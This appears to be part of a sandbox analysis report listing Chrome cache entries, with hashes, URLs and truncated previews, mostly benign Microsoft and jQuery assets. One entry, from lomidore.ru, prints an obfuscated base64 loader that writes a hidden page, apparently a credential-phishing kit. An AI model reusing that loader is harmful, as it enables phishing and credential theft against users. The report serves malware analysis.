t.r.get(t.t,e)).timestamp})()}deleteUrl(e){var t=this;return babelHelpers.asyncToGenerator(function(){yield t.r.delete(t.t,new URL(e,locat

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1017 x 706, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	372407
Entropy (8bit):	7.9920868023509675
Encrypted:	true
SSDEEP:	6144:Qua8gWRQXRaGDBt/Qc8ABKmSzu/8YbOHPiyjcXLVzXDJImOdeEd0YufcqoTU3Xw1:QuaW0bL/QcdBaxjc7xXDOmOdee0DcqU/
MD5:	1B4C66938347FF70F6D2FA1173D0C09B
SHA1:	8766438A8E7EE0E068BABA0042B0D97C7667CAE4
SHA-256:	B59D05AA36BA301347E8E8D711A42452E925F6875ACE1409B056AD2B759C9317
SHA-512:	C9C2733F7C0DCA56B13E9F08CFFCFE0BD836F97D4D8B28EA1BA57896B9B2342A570D1653059BDED922024C10F8842C85504BAFD650CABA52C9DBF380078CBDF7
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-consumer-4-mreb-1b4c669383.png
Preview:	.PNG........IHDR.....................pHYs.........&.:4....sRGB.........gAMA......a....LIDATx..[.m[r.V5.\..o.....O...>}w..6.` ..lC0.....F..@..(..<.C.).....!..)....<$J"E....D...0...M.}.n.....9*sT.WUs..6....Q...Zk.9..5... .4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I..^b.4.7.q....W........F.mL.~.G..Q..$.X...............,..q.w...W..

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1034 x 719, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	449258
Entropy (8bit):	7.987066102559051
Encrypted:	false
SSDEEP:	12288:d2GTMhzF8cPHvuBGMRBflaF7+smn+i0QuCPSSqjv:d2LZHPHWBrlaw5+HBCqNv
MD5:	1858A1BEB780FEAFE4BBAC77F49ED237
SHA1:	51B892F52A9A288E73578ADC6AA2C3E62C59A63B
SHA-256:	C8119EE0CC14A582FB8BE25EE58C7DFA1D5D4DFE51C8665B03268196D2E5F0C7
SHA-512:	5B2463CFCB7F5FAA4967739AF5D844BE569E22C1103BD7A1AC6DE5DEB42F0AC2E653404294DBE8CE65010E8DD1F4B846557AA16B022ACC4773981EDD754C518D
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-consumer-2-mreb-1858a1beb7.png
Preview:	.PNG........IHDR..............Q".....pHYs.........&.:4....sRGB.........gAMA......a.....IDATx...{.mIv....}...{.o.g.g.{f8.k.")r(.,F4ir..I.$G.L.!dG.%...r..!.8.$..8.......$H.......0lQ.dI.H.!..y.3.wwOw..;.*.j...s.E....5s.;g..kW..Z.[.Z.JdO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=..M...iO{...D.....=[z......{.~>...il.g...,}.......9.>..)..L./.../\.....A...I..g...=.iO{.....?Vi'.......o...;.<y%..?..rG.x.{..\..\.ww.....;O.]...9...>...w...{........x\|..xx.:].s8d....!..,Y.. 9...o.9'..Z..;9.JI.%....'...Z6..j.P........Z......-..Jm..aI.0Ni....._.WW.Z.....R{._/7..{k.Wz.u.P..n..lW)...........]Z.K.7g.w...X..<....I..

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (23194), with CRLF line terminators
Category:	downloaded
Size (bytes):	23658
Entropy (8bit):	5.7674268648412035
Encrypted:	false
SSDEEP:	384:H9gbHIEsQdsQvZxyF1Aw8B7Nv0edjuDNaFTLLb2M/zvyMEZWpV:dSH9yF1IBBdq5yF/2dW
MD5:	112D19ADDC93BE70A24D819E93BF26FF
SHA1:	F2CEF8FDF3DEF606A6E8A264F3C79B842A46B834
SHA-256:	34715C076071F2CA45240CE786A49711A0D7D9C7C6A55FA812E52448F9B0681C
SHA-512:	6E0F98E01EB094845A9AE9C3D50A6983FF80C35028BD7896F3BBFD1B873BF06440D664021636CE6D6A286BE81E25C4CD6A2E6799D7116CED71939A7959758F7B
Malicious:	false
Reputation:	low
URL:	https://fpt.live.com/?session_id=d998a0ce24aa4721bfd029fd7f160c70&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>.. <script>var localTarget='https://fpt.live.com/',target='https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&',txnId='d998a0ce24aa4721bfd029fd7f160c70',ticks='8DD1A10E6431D3E',rid='76b93896-e1f0-a2db-e81a-87c489df9c96',authKey='taBcrIH61PuCVH7eNCyH0FFaWZWIHTJWSYlBtG47cVvU8mdPGmpJd1GMqE87GuFTt17BXLllC7Mvfl%252fXwMlfj7gZLkPTcL%252b%252fXss8kwe1dgFkO8%252fzEBDyTOkdDQxO%252bNbTj2%252bswsW5InGwabs7ZU%252b7Lk39GREIzQWILzCOBEZedX6MgVbUwza2cTSad%252bcBaeQ2YpT9I3CQj3hvDRAc7xIJ9XaJVKcsN9vW3UXPvWP947F%252fOk%252bZpZt6ivhYpjlm021%252bZM4uuRqKtNfLvo4N6nPtuxR%252bY4BsC1UEj57WnaBl9osu1tsYjAbkp5tukTC9iYkY',cid='33e01921-4d64-4f8c-a055-5bdaffd5e33d',assessment='',waitresponse=true,bbwait=false,commonquery='&PageId=SU',lsInfo=true,splitFonts=false,noFonts=false,UCH=true,PTO=100,rticks=1733941404143,ipv6Url='',txnKey='session_id',ridKey='id',lskey='MUID';(function(){function w(){var i=0,n;return t&&t.length

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1119 x 704, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	591728
Entropy (8bit):	7.996032737804013
Encrypted:	true
SSDEEP:	12288:BzVysRpODYLFLYXMaM48blnrCrjueL1oETab46OxEdB7ny2Q7e/:rODoSMcImr71eUXEPnBQq/
MD5:	8977DBD5387860CD8344B51DC4F00216
SHA1:	A0BCA65DE5D325B87EBDED22EC2EE9F459EED2DB
SHA-256:	6EA50E423008D71C95B019385D8A3D018DE4B9735870224B49EBA9B2E2A0263B
SHA-512:	EAEC056E681DFAC5CDEFBA16A1AB20CBDBD736AC77D14F018FD6C371F2D6C1F81ED46353B7661BB2E326A89E608D5B2B9097A0AD0F7ADF4DEF682AE835D75B13
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..._.........E:......pHYs.........&.:4....sRGB.........gAMA......a.....IDATx...I.mKr&.....9.{.....H.I1.Y.T.RBB@....h....@....j.Y.......5......T....lX.....\|.........?3...9.y$.n.W.nnnn..,o.&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L...L..:`....~\|s.....UV^IX.)?K).=+.y..w....j.[.e..2..%_...9._IJ...z=.G.Z..`...g...r...[...{....w(..?..1<%r..........w.&...`.~...&L.0a..3..-.................x...X..^...Z.......5.<..'O...+9\.,......9.0....=oN."....b._.{Zy.X.{I.e{.].......!...=.ER.-m.G.y...o...<.V`.?..i-...z.~.5...[.V..0-k*{...2....}J...ij..&%.R...+%.K.wz...r'Fy~....s.ZQ.gMYR}O%C.S)=......GO....\./.Zo...q.x7.dY.......g....w.Y.\x.....R.J..S...\.,.b......S.{J.?..[.M../.s......t....M..\.?P...W.&O8......W.....&u%.....A

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32000)
Category:	dropped
Size (bytes):	149053
Entropy (8bit):	5.440876470211605
Encrypted:	false
SSDEEP:	3072:ueeUcMiWa1y6FIwee1fw5hXmk9fVyIRiaO0TnNUrt:feUB8UOf0hX/9YaBTnyrt
MD5:	95F2F0FC50065B017596646C65E90D3E
SHA1:	900566D546C121942D1964250FE4D3CEC23ADF3D
SHA-256:	898F9F6B7CF9D9E797BB187001FCEDEB9999F912C9DC1A2CF5ABD30D961CC69D
SHA-512:	9EF614ABB368F3291A22264287F7A7C7A8217CCEF71BA46E624C8B385D49AA8A9B13C7FEEE5338CAB632D3B1493864E7EE46A3D988F2437B5C66CBA65A5F395F
Malicious:	false
Reputation:	low
Preview:	var __awaiter=this&&this.__awaiter\|\|function(e,t,n,i){function r(e){return e instanceof n?e:new n(function(t){t(e)})}return new(n\|\|(n=Promise))(function(n,a){function o(e){try{u(i.next(e))}catch(e){a(e)}}function c(e){try{u(i.throw(e))}catch(e){a(e)}}function u(e){e.done?n(e.value):r(e.value).then(o,c)}u((i=i.apply(e,t\|\|[])).next())})},__generator=this&&this.__generator\|\|function(e,t){function n(e){return function(t){return i([e,t])}}function i(n){if(r)throw new TypeError("Generator is already executing.");for(;c&&(c=0,n[0]&&(u=0)),u;)try{if(r=1,a&&(o=2&n[0]?a.return:n[0]?a.throw\|\|((o=a.return)&&o.call(a),0):a.next)&&!(o=o.call(a,n[1])).done)return o;switch(a=0,o&&(n=[2&n[0],o.value]),n[0]){case 0:case 1:o=n;break;case 4:return u.label++,{value:n[1],done:!1};case 5:u.label++,a=n[1],n=[0];continue;case 7:n=u.ops.pop(),u.trys.pop();continue;default:if(o=u.trys,!(o=o.length>0&&o[o.length-1])&&(6===n[0]\|\|2===n[0])){u=0;continue}if(3===n[0]&&(!o\|\|n[1]>o[0]&&n[1]<o[3])){u.label=n[1];break}if

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65462)
Category:	downloaded
Size (bytes):	905221
Entropy (8bit):	5.405176932301696
Encrypted:	false
SSDEEP:	6144:95O+Oy7DIZjWlUrHT5Ql7fm3AgOX0/dlhGSMLskSolTNdk4MjPTy6TJ2GRix:SB/rHphdlbMLK4MjPTy6dPRC
MD5:	38916CE7C53621B99379EF408055AFCA
SHA1:	34E569915B3868C58BD93A6F0410C0380862DCCE
SHA-256:	5B637E95DB053A939A7CC379A9720548E253658840577458E07B755BC366B1CC
SHA-512:	23978097C8AF0A1F733D49A2852B204FF6C3C9FD16B5B3CB2E51E8EB969D9E39AC0FE04C5461ADDF4564CFC4D1DCCCB9A1B43CE9BCD7098E632FA9B972296786
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/js/signup-fabric_en_OJFs58U2IbmTee9AgFWvyg2.js
Preview:	/! For license information please see signup-fabric_en.js.LICENSE.txt /.!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function c(e){return r.isMemo(e)?a:l[e.$$typeof]\|\|o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=a;var s=Object.defineProperty,u=Object.getOwnPropertyNames,p=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,f=Object.getPrototypeOf,g=Object.prototype;e.exports=function e(t,n,r){if("string"!=typeof n){if(g){var o=f(n);o&&o!==g&&e(t,o,r)}var a=u(n);p&&(a=a.concat(p(n)));for(var l=c(t),m=c(n),h=0;h<a.length;++h){var b=a[h];if(!(i[b]

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1037 x 807, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	454211
Entropy (8bit):	7.990991479839813
Encrypted:	true
SSDEEP:	12288:2YIEcwyZJePwC+T+nOpGqxWwuoyTvtkz124TdyKd:5TqDBBAUEY1HHd
MD5:	40F76B47F614919A109A3E36E611B55F
SHA1:	161E1B199DA787D63485E2C0D0B2EAFCAF0A60E8
SHA-256:	0577A7A47D06A9385C6BF2A52E5B5646B73B2A331B31F016EEADC7308370F753
SHA-512:	98F92FAF568AA1F03B8DDD4493DA52E8B095FA3AB518F0B6A606CD423A12D8AB51AA9453211CF10844787A1BFC146E3485A1CF940FB7D73C63B71CC2130B79C5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......'.....U.3....pHYs.........&.:4....sRGB.........gAMA......a.....IDATx.....$.u......u.k;.=..0.o...h."..Q\R\|Z..R.....{.....Oz..J+i..OK.2.$..H..a......7......[.*.s"#+23..n.@"....[...ddVu..9q.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................[...........V.U......APZ.k....G.d.0..6.Agc8(v..Zg......g.x:."...............;.N4........}.k7..q.......\|.Z./....`6.E.....E.

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1067 x 742, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	571791
Entropy (8bit):	7.997310243142735
Encrypted:	true
SSDEEP:	12288:GQEnGqYKJ83t1x9Y9c9YA6P/WVzSF3rbuQdzQHULLq:NEnxlJ89LL9YAcoG5H8mq
MD5:	27F24F9CACA928D2DD0AA2192FF055EA
SHA1:	EFE1BE378E1F124A5F4529FFD45F18CB2E3434D4
SHA-256:	47DC43974FD21405DAE835D7A87429F90F3028EE9726A96ECA0F80CD765E22F4
SHA-512:	2121BC94FBD792D9D388480CC75B3A6375E2DDAF3A6C6EE6DC7A4934DF1187EAEBCC71481E526D7EF5912A7F10B711B13D72AD5468F825EB331FEC1DB038B55A
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-edu-1-mreb-27f24f9cac.png
Preview:	.PNG........IHDR...+.........km......pHYs.........&.:4....sRGB.........gAMA......a....$IDATx.....n.U.....w.7.<f"....BP0..P.dj!.....A..n.m4.W.o..n..E.li..DD.a.!..B..2..y.J........o.u.{.W..j..[...;g.k....6Q".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$.

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7461), with CRLF line terminators
Category:	downloaded
Size (bytes):	19781
Entropy (8bit):	5.878607585910948
Encrypted:	false
SSDEEP:	384:ZJnutHb9BZuGRI+GtfnutHb9BZuGRI+nlrrlrW:yZBZu7kZBZu7wlrrlrW
MD5:	A9E588A22B3B6787384FDC7D7B2B16AE
SHA1:	0361F681843B498028B224CBDB0FF8D7E93E9BC5
SHA-256:	A6E8EC6D6C785200B1DE268D47496A695F8523F9351E128A65F7ECA4558B1DC5
SHA-512:	DE9245C5BF58D800E29F00DD3577257E0620DAECD7EA803238A0C2FBC2C970BA8EA305F7376D3BDD6E17EA32A9B4B95F009B1261CC1A46815B5D8B75F8D498C0
Malicious:	false
Reputation:	low
URL:	https://18qdy4sm2g.lomidore.ru/baSDU4o/
Preview:	<script>....if(atob("aHR0cHM6Ly8xQlFBLmxvbWlkb3JlLnJ1L2JhU0RVNG8v") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNVeU9VT1NQUkx3IGg0e21hcmdpb

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2815), with CRLF line terminators
Category:	downloaded
Size (bytes):	2869
Entropy (8bit):	5.062593224084294
Encrypted:	false
SSDEEP:	48:pcXeR326OJgkCLfIOr8FscNQ6VRIOkbBOmWTTpxFz3jXVeeIuQ85ngqpfBrzmGbU:pcOuggBscS67VkbUmWTTpxFz3rVt5gK8
MD5:	1487D9B6C086B4D9B0F3D166AA5ADB3F
SHA1:	B4AF3B709DF0B37E9AFE19C9E4FBAD1FA2D142FA
SHA-256:	31C23A23BA837C3702224EE0D9BA8F36B1779BB0FDC6D8A931453B0BD8BE3621
SHA-512:	AF61287B26DDB1ECF0842E3306B91392D729D516DE7F4DE6F4E5565596553577F8AE4B1C8D9A5F20B3C44E08EFF8C20FA84095F07F481947A1828902E5E4324C
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/workbox-v3.6.2/workbox-routing.prod.js
Preview:	this.workbox=this.workbox\|\|{},this.workbox.routing=function(t,e){"use strict";try{self.workbox.v["workbox:routing:3.6.3"]=1}catch(t){}const r="GET";var s=t=>t&&"object"==typeof t?t:{handle:t};class n{constructor(t,e,n){this.handler=s(e),this.match=t,this.method=n\|\|r}}class o extends n{constructor(t,e,r){super(({url:e})=>{const r=t.exec(e.href);return r?e.origin!==location.origin&&0!==r.index?null:r.slice(1):null},e,r)}}class i{constructor(){this.t=new Map}handleRequest(t){const e=new URL(t.request.url);if(!e.protocol.startsWith("http"))return;let r=null,s=null,n=null;const o=this.e(t,e);if(s=o.handler,n=o.params,r=o.route,!s&&this.r&&(s=this.r),!s)return;let i;try{i=s.handle({url:e,event:t,params:n})}catch(t){i=Promise.reject(t)}return i&&this.s&&(i=i.catch(r=>this.s.handle({url:e,event:t,err:r}))),i}e(t,e){const r=this.t.get(t.request.method)\|\|[];for(const s of r){let r=s.match({url:e,event:t});if(r)return Array.isArray(r)&&0===r.length?r=void 0:(r.constructor===Object&&0===Object.key

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2501 x 832, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1771981
Entropy (8bit):	7.988247142332494
Encrypted:	false
SSDEEP:	49152:4uB7Y0eaS7xe+q6frEduiPaUU48p5fUxGVPaUZUq:bVeaSdPfmtPhU48p54qaUZ3
MD5:	0E10BF7B4FD04ED50A4073604A728FEF
SHA1:	7773AC6F48BD27CED0F82FD58A45F2C923EF87A4
SHA-256:	361AF6EA15689C97588C78A27C25C38C789D9E68B9400AD48B114B05FC285662
SHA-512:	82430B2B1C62635B876CF652FC160F295AB9AEF84D65F310C71BBCD0D44EC6359AFC4FEB70E58CCC8A19F21A2FE2C292F9FF79887C4A17532D21D2835E1624B2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......@.............pHYs.................sRGB.........gAMA......a....bIDATx....,[~...Z.Y...>..{..#Z...DJ....)..MQB........;.a.../..~..~.-.!*.pX. C...e..Hq....F..{...U.ki....2.j..$..8.~...UY.+W....:...s.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1644), with no line terminators
Category:	downloaded
Size (bytes):	1644
Entropy (8bit):	4.899610368751396
Encrypted:	false
SSDEEP:	24:s9bhidevShPUdD1h+E+K6d/9SNSLSwdFe86:s9bhMVhP+D1h+E+KEFcixFe86
MD5:	F7F2466FF5C73AE1AB3C664E0B8F3244
SHA1:	2CA515E0E559371ADD59EB88C2F9EE5F55B6896B
SHA-256:	452C71710AC8407DA431E133ED831FE09C6C881F23E9B0E93192FD8DC8BAB71F
SHA-512:	C29B38F27FB12C019D6044C56837553C660843F7436210F96099D2AD74ACC1E97BDADAE75A4C5ABF31F71A90CB3FD43A5E395763070B106AE36055186B7D1D88
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/sharedfontstyles-f7f2466ff5.css
Preview:	@font-face{font-family:SegoeUI-Light;font-display:swap;src:local('Segoe UI Light'),local('SegoeUI-Light'),local('Segoe WP Light'),url(../versionless/webfonts/segoeui_light.woff2) format('woff2'),url(../versionless/webfonts/segoeui_light.woff) format('woff'),url(../versionless/webfonts/segoeui_light.ttf) format('truetype')}@font-face{font-family:SegoeUI-SemiLight;font-display:swap;src:local('Segoe UI Semilight'),local('SegoeUI-Semilight'),local('Segoe WP Semilight'),url(../versionless/webfonts/segoeui_semilight.woff2) format('woff2'),url(../versionless/webfonts/segoeui_semilight.woff) format('woff'),url(../versionless/webfonts/segoeui_semilight.ttf) format('truetype')}@font-face{font-family:SegoeUI;font-display:swap;src:local('Segoe UI'),local('SegoeUI'),local('Segoe WP'),url(../versionless/webfonts/segoeui_regular.woff2) format('woff2'),url(../versionless/webfonts/segoeui_regular.woff) format('woff'),url(../versionless/webfonts/segoeui_regular.ttf) format('truetype')}@font-face{font-fa

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
